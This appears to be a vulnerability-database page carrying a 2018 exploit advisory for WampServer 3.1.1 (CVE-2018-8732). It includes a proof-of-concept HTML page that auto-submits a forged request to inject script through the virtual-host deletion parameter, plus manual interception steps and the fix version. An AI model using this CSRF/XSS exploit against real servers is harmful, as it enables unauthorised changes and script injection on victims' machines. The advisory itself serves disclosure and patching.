Lucene search
K

WampServer 3.1.1 Cross Site Request Forgery / Cross Site Scripting

🗓️ 31 Mar 2018 00:00:00Reported by Vipin ChaudharyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

WampServer 3.1.1 XSS via CSRF vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WampServer 3.1.1 - Cross-Site Scripting / Cross-Site Request Forgery Vulnerabilities
2 Apr 201800:00
zdt
ATTACKERKB
CVE-2018-8732
19 Mar 201820:29
attackerkb
Circl
CVE-2018-8732
2 Apr 201800:00
circl
CNVD
WampServer Cross-Site Scripting Vulnerability
20 Mar 201800:00
cnvd
CVE
CVE-2018-8732
19 Mar 201820:00
cve
Cvelist
CVE-2018-8732
19 Mar 201820:00
cvelist
Exploit DB
WampServer 3.1.1 - Cross-Site Scripting / Cross-Site Request Forgery
2 Apr 201800:00
exploitdb
EUVD
EUVD-2018-20342
7 Oct 202500:30
euvd
exploitpack
WampServer 3.1.1 - Cross-Site Scripting Cross-Site Request Forgery
2 Apr 201800:00
exploitpack
NVD
CVE-2018-8732
19 Mar 201820:29
nvd
Rows per page
`# Exploit Title: WampServer 3.1.1 XSS via CSRF  
# Date: 31-03-2018  
# Software Link: http://www.wampserver.com/en/  
# Version: 3.1.1  
# Tested On: Windows 10  
# Exploit Author: Vipin Chaudhary  
# Contact: http://twitter.com/vipinxsec  
# Website: http://medium.com/@vipinxsec  
# CVE: CVE-2018-8732  
  
  
1. Description  
  
XSS: cross site scripting via CSRF is remotely exploitable.  
http://forum.wampserver.com/read.php?2,138295,150615,page=6#msg-150615  
  
http://forum.wampserver.com/read.php?2,150617  
  
2. Proof of Concept  
  
  
How to exploit this XSS vulnerability:  
1. Go to Add a Virtual host and add one to wampserver.  
2. Go to Supress Virtual host and select one to delete and then intercept  
the request using burp suite or any other proxy tool  
3. Change the value of parameter *virtual_del[] *to "><img src=x  
onerror=alert(1)> and forward it then you will see the XSS triggered.  
  
How to see it:  
1. Copy and paste this CSRF request in notepad and save it as anything.html  
<html>  
<body onload="wamp_csrf.submit();">  
<form action="[localhost]; name="wamp_csrf" method="POST">  
<input type="hidden" name="virtual_del[]"  
value=""><img src=x onerror=alert(1)>"  
/>  
<input type="hidden" name="vhostdelete"  
value="Suppress VirtualHost" />  
</form>  
</body>  
</html>  
  
Warning: action="[localhost] is action='  
http://localhost/add_vhost.php?lang=english' replacing simple quotes(') by  
double quote("[image: winking smiley]  
  
  
3. Solution:  
  
Update to version 3.1.3  
http://www.wampserver.com/en/#download-wrapper  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation